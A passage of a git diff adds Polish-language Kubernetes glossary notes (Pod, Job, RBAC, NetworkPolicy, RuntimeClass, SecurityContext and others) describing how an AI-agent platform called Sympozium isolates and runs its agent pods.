AgentRunReconciler | [[AgentRun]] | [[Job]]/Sandbox CR, RBAC, ConfigMaps | +| SympoziumInstanceReconciler | [[SympoziumInstance]] | Channel [[Deployment|Deployments]], memory | +| PersonaPackReconciler | [[PersonaPack]] | Instances, Schedules, memory | +| SkillPackReconciler | [[SkillPack]] | ConfigMaps ze skills | +| SympoziumScheduleReconciler | [[SympoziumSchedule]] | AgentRun na schedule | +| MCPServerReconciler | [[MCPServer]] | Deployments, Services | + +Więcej: [[Control Plane]] | [[Cykl życia AgentRun]] + +--- + +Powiązane: [[CRD - Custom Resource Definition]] | [[Control Plane]] | [[Finalizer]] diff --git a/08-Słownik-K8s/DaemonSet.md b/08-Słownik-K8s/DaemonSet.md new file mode 100644 index 0000000..3f8d51c --- /dev/null +++ b/08-Słownik-K8s/DaemonSet.md @@ -0,0 +1,39 @@ +# DaemonSet + +#kubernetes #workload #słownik + +## Co to jest? + +**DaemonSet** zapewnia że **jeden pod działa na każdym (lub wybranych) nodzie** klastra. Gdy nowy node jest dodany, DaemonSet automatycznie deployuje na nim pod. + +## Use cases + +| Use case | Przykład | +|----------|---------| +| Log collection | Fluentd, Filebeat | +| Monitoring | Node Exporter, Datadog Agent | +| Storage | Ceph, GlusterFS | +| Networking | Calico, Cilium | +| **Inference discovery** | Sympozium Node Probe | + +## Różnica vs Deployment + +| | DaemonSet | [[Deployment]] | +|---|-----------|------------| +| Repliki | 1 per node (auto) | N (zdefiniowane) | +| Scheduling | Gwarantowany per node | Scheduler decyduje | +| Scaling | Dodanie/usunięcie node'a | Zmiana replica count | + +## Użycie w Sympozium + +**Node Probe DaemonSet** (`cmd/node-probe/`): +- Jeden pod na każdym nodzie +- Probeuje localhost porty (Ollama :11434, vLLM :8000, etc.) +- Annotuje node z odkrytymi inference providers +- API Server czyta annotacje → TUI/Web UI pokazuje + +Więcej: [[Node Probe - odkrywanie inferencji]] + +--- + +Powiązane: [[Node Probe - odkrywanie inferencji]] | [[Deployment]] | [[Pod]] diff --git a/08-Słownik-K8s/Deployment.md b/08-Słownik-K8s/Deployment.md new file mode 100644 index 0000000..1cdd57e --- /dev/null +++ b/08-Słownik-K8s/Deployment.md @@ -0,0 +1,47 @@ +# Deployment + +#kubernetes #workload #słownik + +## Co to jest? + +**Deployment** to zasób Kubernetes zarządzający **zestawem identycznych podów** (ReplicaSet). Zapewnia deklaratywne aktualizacje, rollback, skalowanie i self-healing. + +## Kluczowe cechy + +| Cecha | Opis | +|-------|------| +| **Replicas** | Ilość identycznych podów | +| **Rolling update** | Stopniowa wymiana podów na nowe | +| **Rollback** | Powrót do poprzedniej wersji | +| **Self-healing** | Restart crashed podów | +| **Scaling** | Zmiana ilości replik (ręczna lub HPA) | + +## Deployment vs Job + +| | [[Job]] | Deployment | +|---|---------|------------| +| Lifecycle | Run-to-completion | Long-running | +| Restart | Never/OnFailure | Always | +| Replicas | Completions | Desired count | +| Use case | Batch, one-shot | Services | + +## Użycie w Sympozium + +Deployments są używane dla **długo żyjących komponentów**: + +| Komponent | Repliki | Opis | +|-----------|---------|------| +| Channel pods | 1 per kanał | Telegram, Slack, Discord, WhatsApp | +| Memory server | 1 per instance | SQLite + FTS5 na PVC | +| Web proxy | 1 per instance | OpenAI-compat API (server mode) | +| Controller | 1 | Reconciler CRDs | +| API Server | 1 | HTTP + WebSocket | +| NATS | 1 (StatefulSet) | Event bus | + +[[AgentRun]] w **trybie server** tworzy Deployment + Service zamiast Job. + +Więcej: [[Tryb Server vs Task]] | [[Kanały - Telegram Slack Discord WhatsApp]] + +--- + +Powiązane: [[Job]] | [[StatefulSet]] | [[Pod]] | [[Tryb Server vs Task]] diff --git a/08-Słownik-K8s/Finalizer.md b/08-Słownik-K8s/Finalizer.md new file mode 100644 index 0000000..436c4fb --- /dev/null +++ b/08-Słownik-K8s/Finalizer.md @@ -0,0 +1,64 @@ +# Finalizer + +#kubernetes #lifecycle #słownik + +## Co to jest? + +**Finalizer** to mechanizm Kubernetes **blokujący usunięcie zasobu** do czasu wykonania cleanup. Dopóki finalizer istnieje na zasobie, K8s nie usunie go z etcd. + +## Jak działa? + +``` +1. Zasób ma finalizer: ["sympozium.ai/finalizer"] +2. kubectl delete → DeletionTimestamp ustawiony, ale zasób ISTNIEJE +3. Controller widzi DeletionTimestamp → wykonuje cleanup +4. Controller usuwa finalizer z listy +5. K8s widzi brak finalizerów → zasób usunięty z etcd +``` + +## Bez vs z finalizer + +``` +Bez finalizer: + kubectl delete agentrun → NATYCHMIAST usunięty + → Orphaned Jobs, RBAC, ConfigMaps! + +Z finalizer: + kubectl delete agentrun → DeletionTimestamp set + → Controller: cleanup Jobs, RBAC, ConfigMaps + → Controller: remove finalizer + → Zasób usunięty +``` + +## Użycie w Sympozium + +### AgentRun finalizer +```go +const agentRunFinalizer = "sympozium.ai/agentrun-finalizer" +``` + +Cleanup przy usunięciu: +- Delete Job/Sandbox CR +- Delete ephemeral RBAC (ClusterRole, ClusterRoleBinding) +- Delete input ConfigMap +- Delete MCP ConfigMap + +### SympoziumInstance finalizer +```go +const sympoziumInstanceFinalizer = "sympozium.ai/finalizer" +``` + +Cleanup: +- Delete channel Deployments +- Delete memory ConfigMap +- Delete memory Deployment/Service + +## Pułapki + +- Jeśli controller jest niedostępny → finalizer blokuje usunięcie na zawsze +- "Stuck" zasoby: trzeba ręcznie usunąć finalizer (`kubectl edit`) +- Finalizer dodawany tylko dla non-terminal runs (nie dla Succeeded/Failed) + +--- + +Powiązane: [[Controller i Reconciler]] | [[ownerReference]] | [[Cykl życia AgentRun]] diff --git a/08-Słownik-K8s/Helm Chart.md b/08-Słownik-K8s/Helm Chart.md new file mode 100644 index 0000000..b7f5c76 --- /dev/null +++ b/08-Słownik-K8s/Helm Chart.md @@ -0,0 +1,74 @@ +# Helm Chart + +#kubernetes #deployment #słownik + +## Co to jest? + +**Helm** to package manager dla Kubernetes. **Helm Chart** to paczka szablonów Kubernetes YAML z parametryzacją (values). + +## Analogia + +``` +apt install nginx → helm install sympozium sympozium/sympozium +apt-get update → helm repo update +dpkg -l → helm list +``` + +## Struktura + +``` +charts/sympozium/ +├── Chart.yaml # Metadata (nazwa, wersja) +├── values.yaml # Domyślne parametry +├── templates/ # Szablony K8s YAML +│ ├── deployment.yaml +│ ├── service.yaml +│ ├── configmap.yaml +│ └── ... +└── charts/ # Sub-charts (zależności) +``` + +## values.yaml + +```yaml +# Przykładowe parametry +controller: + replicas: 1 + image: + repository: ghcr.io/sympozium-ai/sympozium/controller + tag: v0.0.25 + resources: + requests: + cpu: 250m + memory: 512Mi + +agentSandbox: + enabled: true + defaultRuntimeClass: gvisor + +observability: + enabled: true + otlpEndpoint: "otel-collector:4317" +``` + +## Użycie w Sympozium + +Sympozium instalowane via Helm: +```bash +helm repo add sympozium https://deploy.sympozium.ai/charts +helm install sympozium sympozium/sympozium +``` + +Chart zawiera: +- Controller Manager [[Deployment]] +- API Server Deployment +- Webhook Deployment + cert-manager integration +- NATS [[StatefulSet]] +- [[CRD - Custom Resource Definition|CRD]] manifests +- [[RBAC]] (ClusterRole, bindings) +- [[NetworkPolicy]] templates +- Built-in [[PersonaPack|PersonaPacks]] i [[SkillPack|SkillPacks]] + +--- + +Powiązane: [[Struktura repozytorium]] | [[CRD - Custom Resource Definition]] | [[Control Plane]] diff --git a/08-Słownik-K8s/Job.md b/08-Słownik-K8s/Job.md new file mode 100644 index 0000000..37d69d1 --- /dev/null +++ b/08-Słownik-K8s/Job.md @@ -0,0 +1,71 @@ +# Job (Kubernetes) + +#kubernetes #workload #słownik + +## Co to jest? + +**Job** to zasób Kubernetes tworzący **pod który wykonuje zadanie i kończy się**. W odróżnieniu od [[Deployment]] (pody działają ciągle), Job tworzy pod który ma zakończyć się sukcesem. + +## Zachowanie + +``` +Job created → Pod created → Pod runs → Pod completes (exit code 0) → Job Succeeded + → Pod fails (exit code != 0) → Job retries or Failed +``` + +## Kluczowe cechy + +| Cecha | Opis | +|-------|------| +| **Run-to-completion** | Pod kończy się po wykonaniu zadania | +| **Retry policy** | Konfigurowalny `backoffLimit` (ile razy retry) | +| **Parallelism** | Wiele podów jednocześnie (`parallelism`) | +| **TTL cleanup** | Automatyczne usuwanie po N sekundach | +| **Completions** | Ile podów musi zakończyć się sukcesem | + +## Przykład + +```yaml +apiVersion: batch/v1 +kind: Job +metadata: + name: agent-run-001 +spec: + backoffLimit: 0 # Bez retries + ttlSecondsAfterFinished: 300 # Usuń po 5 minutach + template: + spec: + restartPolicy: Never + containers: + - name: agent + image: agent-runner:v1 +``` + +## Job vs inne workloady + +| Workload | Lifecycle | Restart | Use case | +|----------|-----------|---------|----------| +| **Job** | Run-to-completion | Never/OnFailure | Batch, one-shot | +| [[Deployment]] | Long-running | Always | Web services | +| CronJob | Periodic Job | Never/OnFailure | Scheduled batch | +| [[DaemonSet]] | One per node | Always | Node agents | +| [[StatefulSet]] | Ordered, stable | Always | Databases | + +## Użycie w Sympozium + +**AgentRun w trybie task = Kubernetes Job:** + +Każde wywołanie agenta tworzy Job z: +- Agent container (LLM loop) +- IPC Bridge sidecar +- Skill sidecars +- `backoffLimit: 0` (brak retry - lepsze logowanie błędów) +- `restartPolicy: Never` + +Po zakończeniu controller zbiera logi, wynik i token usage ze statusu poda. + +Więcej: [[Model efemerycznych agentów]] | [[Cykl życia AgentRun]] + +--- + +Powiązane: [[Deployment]] | [[Model efemerycznych agentów]] | [[Pod]] diff --git a/08-Słownik-K8s/Kata Containers.md b/08-Słownik-K8s/Kata Containers.md new file mode 100644 index 0000000..76d1540 --- /dev/null +++ b/08-Słownik-K8s/Kata Containers.md @@ -0,0 +1,101 @@ +# Kata Containers + +#kubernetes #security #sandbox #słownik + +## Co to jest? + +**Kata Containers** to technologia łącząca **lekkość kontenerów z bezpieczeństwem maszyn wirtualnych**. Każdy kontener (lub pod) uruchamiany jest wewnątrz dedykowanej, lekkiej VM z własnym kernelem. + +## Jak działa? + +``` +Bez Kata: + Container → shared Host Kernel + +Z Kata: + Container → Guest Kernel (dedykowany) → Hypervisor (QEMU/Cloud Hypervisor) → Host Kernel +``` + +Każdy pod dostaje: +- **Własny kernel Linux** (guest kernel) +- **Własną przestrzeń pamięci** (izolacja hypervisora) +- **Dedykowany agent** (kata-agent) zarządzający kontenerem wewnątrz VM + +## Architektura + +``` +┌──────────────────────────────────┐ +│ Host (Node) │ +│ │ +│ ┌────────────────────────────┐ │ +│ │ Lightweight VM │ │ +│ │ ┌──────────────────────┐ │ │ +│ │ │ Container │ │ │ +│ │ │ (agent pod) │ │ │ +│ │ └──────────────────────┘ │ │ +│ │ Guest Kernel (Linux) │ │ +│ └────────────────────────────┘ │ +│ Hypervisor (QEMU/Cloud HV/FC) │ +│ Host Kernel │ +└──────────────────────────────────┘ +``` + +## Hypervisory wspierane + +| Hypervisor | Opis | Użycie | +|------------|------|--------| +| **QEMU** | Pełnofunkcyjny, uniwersalny | Domyślny | +| **Cloud Hypervisor** | Zoptymalizowany dla cloud-native | Produkcja | +| **Firecracker** | Micro-VM od AWS (Lambda/Fargate) | Serverless | +| **ACRN** | Dla IoT/embedded | Specjalistyczny | + +## Porównanie z gVisor + +| Aspekt | [[gVisor]] | Kata Containers | +|--------|---------|-----------------| +| Mechanizm | User-space kernel (Sentry) | Lightweight VM (hypervisor) | +| Izolacja | Przechwytywanie syscalls | Pełna izolacja kernela | +| Overhead | 5-10% | 15-20% | +| Kompatybilność | ~95% syscalls | ~99% | +| Startup time | Szybki (~100ms) | Wolniejszy (~500ms-2s) | +| Memory overhead | Niski (~20MB) | Wyższy (~50-100MB per VM) | +| GPU support | Ograniczone | Lepsze (PCI passthrough) | +| Bezpieczeństwo | Silne | **Najsilniejsze** (VM boundary) | + +## Kiedy Kata vs gVisor? + +### Wybierz gVisor gdy: +- Potrzebujesz niskiego overhead +- Workload jest I/O-intensive +- Chcesz szybki startup + +### Wybierz Kata gdy: +- Potrzebujesz **najsilniejszej izolacji** (compliance, untrusted code) +- Workload wymaga pełnej kompatybilności syscalls +- GPU passthrough jest potrzebny + +## Użycie w Kubernetes + +Kata integruje się przez [[RuntimeClass]]: + +```yaml +apiVersion: node.k8s.io/v1 +kind: RuntimeClass +metadata: + name: kata +handler: kata-qemu +``` + +## Użycie w Sympozium + +```yaml +agentSandbox: + enabled: true + runtimeClass: kata +``` + +Wymaga: Kata Containers zainstalowane na nodach + RuntimeClass `kata`. + +--- + +Powiązane: [[gVisor]] | [[Agent Sandbox - gVisor i Kata]] | [[RuntimeClass]] | [[Model bezpieczeństwa Defence-in-Depth]] diff --git a/08-Słownik-K8s/NATS JetStream.md b/08-Słownik-K8s/NATS JetStream.md new file mode 100644 index 0000000..0f4c81c --- /dev/null +++ b/08-Słownik-K8s/NATS JetStream.md @@ -0,0 +1,51 @@ +# NATS JetStream + +#kubernetes #messaging #słownik + +## Co to jest? + +**NATS** to lekki, cloud-native system messaging. **JetStream** to warstwa persistence dodana do NATS, umożliwiająca **durable pub/sub** z replay, retention i consumer groups. + +## NATS vs JetStream + +| NATS Core | NATS JetStream | +|-----------|----------------| +| Fire-and-forget | Durable (zapisane na dysk) | +| At-most-once | At-least-once delivery | +| Brak replay | Replay od dowolnego punktu | +| Brak consumer groups | Consumer groups + ack | +| Ultra-fast | Szybki (trochę wolniejszy) | + +## Porównanie z alternatywami + +| System | Latency | Throughput | Complexity | Use case | +|--------|---------|------------|------------|----------| +| **NATS JetStream** | ~1ms | ~100K msg/s | **Niski** | Cloud-native, K8s | +| Apache Kafka | ~5ms | ~1M msg/s | Wysoki | Big data, streaming | +| RabbitMQ | ~3ms | ~50K msg/s | Średni | Enterprise messaging | +| Redis Streams | ~1ms | ~200K msg/s | Niski | Caching + messaging | + +## Kluczowe koncepty JetStream + +| Koncept | Opis | +|---------|------| +| **Stream** | Named storage dla wiadomości (temat wildcard) | +| **Consumer** | Subskrybent z cursor/offset tracking | +| **Durable Consumer** | Consumer z persistence (survives restarts) | +| **Ack** | Potwierdzenie przetworzenia wiadomości | +| **Retention** | Limits (max age, max bytes) lub Interest-based | + +## Użycie w Sympozium + +NATS JetStream jest **centralnym event bus'em** Sympozium: + +- **Stream**: `sympozium` z subjects `sympozium.>` +- **Retention**: 24h max age +- **Deployment**: [[StatefulSet]] w `sympozium-system` +- **URL**: `nats://nats.sympozium-system.svc:4222` + +Tematy: patrz [[NATS JetStream - Event Bus]] + +--- + +Powiązane: [[NATS JetStream - Event Bus]] | [[Przepływ danych i IPC]] | [[StatefulSet]] diff --git a/08-Słownik-K8s/Namespace.md b/08-Słownik-K8s/Namespace.md new file mode 100644 index 0000000..ceb5619 --- /dev/null +++ b/08-Słownik-K8s/Namespace.md @@ -0,0 +1,47 @@ +# Namespace + +#kubernetes #multi-tenancy #słownik + +## Co to jest? + +**Namespace** to wirtualny klaster wewnątrz klastra Kubernetes. Pozwala na **logiczną izolację zasobów** - zasoby w różnych namespace'ach nie widzą się nawzajem (domyślnie). + +## Kluczowe cechy + +- **Scope zasobów** - Pods, Services, ConfigMaps etc. są namespace-scoped +- **RBAC** - uprawnienia mogą być ograniczone do namespace +- **Resource Quotas** - limity CPU/memory per namespace +- **NetworkPolicy** - izolacja sieciowa per namespace +- **Brak hierarchii** - namespace'y są płaskie (no nesting) + +## Zasoby namespace-scoped vs cluster-scoped + +| Namespace-scoped | Cluster-scoped | +|-----------------|----------------| +| Pod, Service, Deployment | Node, Namespace | +| ConfigMap, Secret | ClusterRole | +| Role, RoleBinding | ClusterRoleBinding | +| NetworkPolicy | PersistentVolume | +| **CRDs Sympozium** | StorageClass | + +## Użycie w Sympozium + +### Multi-tenancy +Każda [[SympoziumInstance]] działa w namespace (domyślnie `sympozium-system`): +- Zasoby instancji izolowane w namespace +- [[RBAC]] per-namespace kontroluje dostęp +- [[NetworkPolicy]] per-namespace izoluje sieć + +### System namespace +`sympozium-system` - namespace control plane: +- Controller, API Server, Webhook +- NATS JetStream +- Built-in PersonaPacks, SkillPacks, Policies + +### Efemeryczny RBAC +Namespace-scoped Role + RoleBinding mają [[ownerReference]] → AgentRun = auto GC. +Cluster-scoped zasoby nie mogą mieć cross-namespace ownerRef. + +--- + +Powiązane: [[RBAC]] | [[SympoziumInstance]] | [[Model bezpieczeństwa Defence-in-Depth]] diff --git a/08-Słownik-K8s/NetworkPolicy.md b/08-Słownik-K8s/NetworkPolicy.md new file mode 100644 index 0000000..4145b8f --- /dev/null +++ b/08-Słownik-K8s/NetworkPolicy.md @@ -0,0 +1,90 @@ +# NetworkPolicy + +#kubernetes #security #network #słownik + +## Co to jest? + +**NetworkPolicy** to zasób Kubernetes definiujący **reguły firewalla na poziomie podów**. Kontroluje jaki ruch sieciowy (ingress/egress) jest dozwolony do/z podów. + +## Domyślne zachowanie + +Bez NetworkPolicy: **wszystko jest dozwolone** - każdy pod może komunikować się z każdym innym podem i z internetem. + +Z NetworkPolicy: reguły definiują whitelist - ruch nie pasujący do żadnej reguły jest **blokowany**. + +## Przykład deny-all + +```yaml +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: deny-all-egress +spec: + podSelector: + matchLabels: + sympozium.ai/component: agent + policyTypes: + - Egress + egress: [] # Pusty = BLOCK ALL +``` + +## Przykład z wyjątkami + +```yaml +spec: + podSelector: + matchLabels: + sympozium.ai/component: agent + policyTypes: + - Egress + egress: + # Pozwól DNS + - to: + - namespaceSelector: {} + ports: + - port: 53 + protocol: UDP + # Pozwól NATS + - to: + - podSelector: + matchLabels: + app: nats + ports: + - port: 4222 +``` + +## Wymagania + +NetworkPolicy wymaga **CNI plugin** wspierającego Network Policies: +- Calico +- Cilium +- Weave Net +- Antrea + +**Flannel** domyślnie NIE wspiera NetworkPolicy. + +## Użycie w Sympozium + +Sympozium używa NetworkPolicy do **izolacji agent podów**: + +``` +Agent pod: + Egress: DENY ALL + Wyjątki: + - DNS (UDP 53) + - NATS event bus (TCP 4222) + - Skonfigurowane egress rules z SympoziumPolicy +``` + +Dzięki temu agent nie może: +- Sięgnąć do internetu +- Komunikować się z innymi podami +- Exfiltrować danych + +Jedyny punkt wyjścia to IPC Bridge → NATS (kontrolowany kanał). + +Więcej: [[NetworkPolicy i izolacja sieciowa]] + +--- + +Powiązane: [[NetworkPolicy i izolacja sieciowa]] | [[SympoziumPolicy]] | [[Model bezpieczeństwa Defence-in-Depth]] diff --git a/08-Słownik-K8s/PersistentVolumeClaim.md b/08-Słownik-K8s/PersistentVolumeClaim.md new file mode 100644 index 0000000..24224a2 --- /dev/null +++ b/08-Słownik-K8s/PersistentVolumeClaim.md @@ -0,0 +1,67 @@ +# PersistentVolumeClaim (PVC) + +#kubernetes #storage #słownik + +## Co to jest? + +**PersistentVolumeClaim (PVC)** to żądanie trwałego storage w Kubernetes. PVC abstrakcje underlying storage (dysk, NFS, cloud volume) i zapewnia **dane przetrwają restart poda**. + +## Jak działa? + +``` +PVC (żądanie: 10Gi, ReadWriteOnce) + ↓ +StorageClass (provisioner: ebs/gce-pd/local) + ↓ +PersistentVolume (faktyczny dysk) + ↓ +Pod mountuje PVC +``` + +## Access Modes + +| Mode | Opis | Skrót | +|------|------|-------| +| ReadWriteOnce | Jeden node może czytać/pisać | RWO | +| ReadOnlyMany | Wiele node'ów read-only | ROX | +| ReadWriteMany | Wiele node'ów read/write | RWX | + +## emptyDir vs PVC + +| | emptyDir | PVC | +|---|----------|-----| +| Lifecycle | Z podem | Niezależny od poda | +| Persistence | **NIE** - dane znikają | **TAK** - dane trwają | +| Sharing | Między kontenerami w podzie | Między podami (z ograniczeniami) | +| Speed | Szybki (RAM option) | Zależne od storage | + +## Użycie w Sympozium + +### Memory PVC +```yaml +name: -memory-db +spec: + accessModes: [ReadWriteOnce] + resources: + requests: + storage: 1Gi +``` +Przechowuje SQLite DB z pamięcią agenta. Przetrwa restarty memory-server poda. + +### WhatsApp PVC +```yaml +name: -channel-whatsapp-data +spec: + accessModes: [ReadWriteOnce] + resources: + requests: + storage: 256Mi +``` +Przechowuje WhatsApp credentials (QR link survives restarts). + +### Strategy: Recreate +Oba PVC są RWO (jeden pod na raz), więc Deployment Strategy musi być `Recreate` (nie RollingUpdate). + +--- + +Powiązane: [[Persistent Memory]] | [[ConfigMap i Secret]] | [[Kanały - Telegram Slack Discord WhatsApp]] diff --git a/08-Słownik-K8s/Pod.md b/08-Słownik-K8s/Pod.md new file mode 100644 index 0000000..8086a5e --- /dev/null +++ b/08-Słownik-K8s/Pod.md @@ -0,0 +1,59 @@ +# Pod + +#kubernetes #workload #słownik + +## Co to jest? + +**Pod** to **najmniejsza deployowalna jednostka** w Kubernetes. Pod zawiera jeden lub więcej kontenerów współdzielących sieć i storage. + +## Kluczowe cechy + +- **Współdzielona sieć** - kontenery w podzie widzą się jako `localhost` +- **Współdzielone woluminy** - kontenery mogą mountować te same woluminy +- **Shared lifecycle** - wszystkie kontenery startują i kończą się razem +- **Unikalne IP** - każdy pod dostaje własne IP w klastrze +- **Efemeryczny** - pod nie jest "naprawiany", jest zastępowany nowym + +## Anatomia + +``` +┌─────────────────────────────────────┐ +│ Pod │ +│ Network namespace (shared IP) │ +│ │ +│ ┌──────────┐ ┌──────────┐ │ +│ │ Container │ │ Container │ ... │ +│ │ (main) │ │ (sidecar) │ │ +│ └──────────┘ └──────────┘ │ +│ │ +│ Volumes (shared): │ +│ /workspace (emptyDir) │ +│ /ipc (emptyDir, RAM) │ +│ /skills (projected ConfigMap) │ +└─────────────────────────────────────┘ +``` + +## Multi-container patterns + +| Pattern | Opis | Przykład w Sympozium | +|---------|------|---------------------| +| **Sidecar** | Kontener pomocniczy obok głównego | IPC Bridge, Skill sidecars | +| **Init container** | Uruchamiany przed głównymi | wait-for-memory | +| **Ambassador** | Proxy do zewnętrznych serwisów | MCP Bridge | + +## Użycie w Sympozium + +Agent Pod to multi-container pod z: +- **Agent container** - główny (LLM loop) +- **IPC Bridge sidecar** - komunikacja fsnotify → NATS +- **Skill sidecars** - narzędzia (kubectl, helm) +- **MCP Bridge** - proxy do MCP serwerów +- **Sandbox** - opcjonalny kontener izolacji + +Współdzielone woluminy umożliwiają IPC bez sieci. + +Więcej: [[Cykl życia Agent Pod]] | [[Sidecar Pattern]] + +--- + +Powiązane: [[Job]] | [[Deployment]] | [[Sidecar Pattern]] | [[SecurityContext]] diff --git a/08-Słownik-K8s/RBAC.md b/08-Słownik-K8s/RBAC.md new file mode 100644 index 0000000..fef76d9 --- /dev/null +++ b/08-Słownik-K8s/RBAC.md @@ -0,0 +1,91 @@ +# RBAC - Role-Based Access Control + +#kubernetes #security #rbac #słownik + +## Co to jest? + +**RBAC** (Role-Based Access Control) to system autoryzacji w Kubernetes. Definiuje **kto** (subject) może wykonywać **jakie operacje** (verbs) na **jakich zasobach** (resources). + +## Komponenty + +### Role (namespace-scoped) +```yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: Role +metadata: + name: pod-reader + namespace: my-namespace +rules: + - apiGroups: [""] # "" = core API group + resources: ["pods"] + verbs: ["get", "list", "watch"] +``` + +### ClusterRole (cluster-scoped) +```yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: node-reader +rules: + - apiGroups: [""] + resources: ["nodes"] + verbs: ["get", "list"] +``` + +### RoleBinding (wiąże Role z podmiotem) +```yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + name: read-pods +subjects: + - kind: ServiceAccount + name: my-agent +roleRef: + kind: Role + name: pod-reader + apiGroup: rbac.authorization.k8s.io +``` + +## Verbs + +| Verb | Opis | +|------|------| +| `get` | Odczyt pojedynczego zasobu | +| `list` | Listowanie zasobów | +| `watch` | Obserwowanie zmian (streaming) | +| `create` | Tworzenie nowego zasobu | +| `update` | Aktualizacja istniejącego | +| `patch` | Częściowa aktualizacja | +| `delete` | Usuwanie zasobu | + +## Scope + +| Typ | Scope | Binding | +|-----|-------|---------| +| **Role** | Namespace | RoleBinding | +| **ClusterRole** | Cały klaster | ClusterRoleBinding | +| **ClusterRole** | Namespace (reuse) | RoleBinding | + +## Privilege escalation prevention + +Kubernetes nie pozwala na tworzenie ról z uprawnieniami większymi niż posiada twórca. Dlatego controller Sympozium wymaga `cluster-admin` - musi tworzyć dowolne role zdefiniowane w [[SkillPack|SkillPacks]]. + +## Użycie w Sympozium + +Sympozium implementuje **efemeryczny RBAC per-run**: + +1. [[SkillPack]] deklaruje potrzebne uprawnienia (rbac/clusterRBAC) +2. Przy tworzeniu [[AgentRun]], controller tworzy: + - Role + RoleBinding (namespace-scoped, [[ownerReference]] → AgentRun) + - ClusterRole + ClusterRoleBinding (label-based cleanup) +3. Po zakończeniu runu → RBAC usunięty + +Credentials istnieją **tylko przez czas trwania runu**. + +Więcej: [[Efemeryczny RBAC per-run]] | [[Skill Sidecars i auto-RBAC]] + +--- + +Powiązane: [[Efemeryczny RBAC per-run]] | [[ServiceAccount]] | [[Skill Sidecars i auto-RBAC]] diff --git a/08-Słownik-K8s/RuntimeClass.md b/08-Słownik-K8s/RuntimeClass.md new file mode 100644 index 0000000..b0270c5 --- /dev/null +++ b/08-Słownik-K8s/RuntimeClass.md @@ -0,0 +1,74 @@ +# RuntimeClass + +#kubernetes #security #container-runtime #słownik + +## Co to jest? + +**RuntimeClass** to zasób Kubernetes pozwalający na **wybór container runtime** dla poda. Domyślnie pody używają standardowego runtime (runc), ale RuntimeClass pozwala na użycie alternatywnych runtime'ów jak [[gVisor]] (runsc) czy [[Kata Containers]]. + +## Jak działa? + +``` +1. Administrator tworzy RuntimeClass +2. Pod spec: runtimeClassName: gvisor +3. Kubelet: zamiast runc, użyj runsc (gVisor) +4. Pod uruchamiany w gVisor sandbox +``` + +## Przykład + +```yaml +apiVersion: node.k8s.io/v1 +kind: RuntimeClass +metadata: + name: gvisor +handler: runsc # Nazwa handler'a w konfiguracji containerd + +--- +apiVersion: node.k8s.io/v1 +kind: RuntimeClass +metadata: + name: kata +handler: kata-qemu +``` + +## Containerd konfiguracja + +```toml +# /etc/containerd/config.toml +[plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runsc] + runtime_type = "io.containerd.runsc.v1" + +[plugins."io.containerd.grpc.v1.cri".containerd.runtimes.kata-qemu] + runtime_type = "io.containerd.kata.v2" +``` + +## Overhead scheduling + +RuntimeClass może deklarować overhead: +```yaml +overhead: + podFixed: + memory: "120Mi" + cpu: "250m" +``` + +Kubernetes scheduler uwzględnia overhead przy planowaniu. + +## Użycie w Sympozium + +Sympozium obsługuje RuntimeClass przez [[Agent Sandbox - gVisor i Kata]]: + +```yaml +# SympoziumPolicy - wymusza i ogranicza runtime classes +agentSandboxPolicy: + required: true + defaultRuntimeClass: gvisor + allowedRuntimeClasses: [gvisor, kata] +``` + +Controller tworzy Sandbox CR z `runtimeClassName` ustawionym z konfiguracji. + +--- + +Powiązane: [[gVisor]] | [[Kata Containers]] | [[Agent Sandbox - gVisor i Kata]] diff --git a/08-Słownik-K8s/SecurityContext.md b/08-Słownik-K8s/SecurityContext.md new file mode 100644 index 0000000..8ff9e92 --- /dev/null +++ b/08-Słownik-K8s/SecurityContext.md @@ -0,0 +1,76 @@ +# SecurityContext + +#kubernetes #security #słownik + +## Co to jest? + +**SecurityContext** to konfiguracja bezpieczeństwa na poziomie poda lub kontenera. Definiuje **jak kontener jest uruchamiany** z perspektywy systemu operacyjnego. + +## Kluczowe pola + +```yaml +securityContext: + runAsNonRoot: true # Nie uruchamiaj jako root + runAsUser: 1000 # UID procesu + runAsGroup: 1000 # GID procesu + readOnlyRootFilesystem: true # Root FS tylko do odczytu + allowPrivilegeEscalation: false # Blokuj setuid/setgid + capabilities: + drop: ["ALL"] # Usuń WSZYSTKIE Linux capabilities + add: ["NET_BIND_SERVICE"] # Dodaj konkretne (opcjonalnie) + seccompProfile: + type: RuntimeDefault # Seccomp profil +``` + +## Pola wyjaśnione + +### runAsNonRoot +Wymusza uruchomienie kontenera jako użytkownik inny niż root (UID != 0). Jeśli obraz ma `USER root`, pod nie wystartuje. + +### readOnlyRootFilesystem +System plików kontenera jest read-only. Kontener może pisać tylko do zamontowanych woluminów (`/tmp`, `/workspace`). Zapobiega modyfikacji binariów. + +### capabilities +Linux capabilities to granularne uprawnienia (zamiast "all-or-nothing" root): + +| Capability | Opis | +|------------|------| +| `CAP_NET_ADMIN` | Konfiguracja sieci | +| `CAP_SYS_ADMIN` | Operacje administracyjne | +| `CAP_NET_BIND_SERVICE` | Bindowanie portów < 1024 | +| `ALL` | Wszystkie naraz | + +`drop: ["ALL"]` usuwa WSZYSTKIE capabilities - kontener ma minimalne uprawnienia. + +### seccompProfile +**Seccomp** (Secure Computing Mode) filtruje syscalls na poziomie kernela: +- `RuntimeDefault` - profil domyślny containerd (blokuje niebezpieczne syscalls) +- `Unconfined` - brak filtrowania +- `Localhost` - custom profil z pliku + +### allowPrivilegeEscalation +Blokuje mechanizmy eskalacji uprawnień: +- setuid/setgid bity na plikach +- `no_new_privs` flag w kernelu + +## Użycie w Sympozium + +Agent containers mają **hardened SecurityContext**: + +```go +SecurityContext: &corev1.SecurityContext{ + ReadOnlyRootFilesystem: true, + AllowPrivilegeEscalation: false, + Capabilities: &corev1.Capabilities{ + Drop: []corev1.Capability{"ALL"}, + }, +} +``` + +W połączeniu z [[NetworkPolicy]] i [[RBAC]], tworzy to defense-in-depth. + +Więcej: [[Model bezpieczeństwa Defence-in-Depth]] | [[Cykl życia Agent Pod]] + +--- + +Powiązane: [[Model bezpieczeństwa Defence-in-Depth]] | [[gVisor]] | [[Kata Containers]] | [[Pod]] diff --git a/08-Słownik-K8s/ServiceAccount.md b/08-Słownik-K8s/ServiceAccount.md new file mode 100644 index 0000000..f851651 --- /dev/null +++ 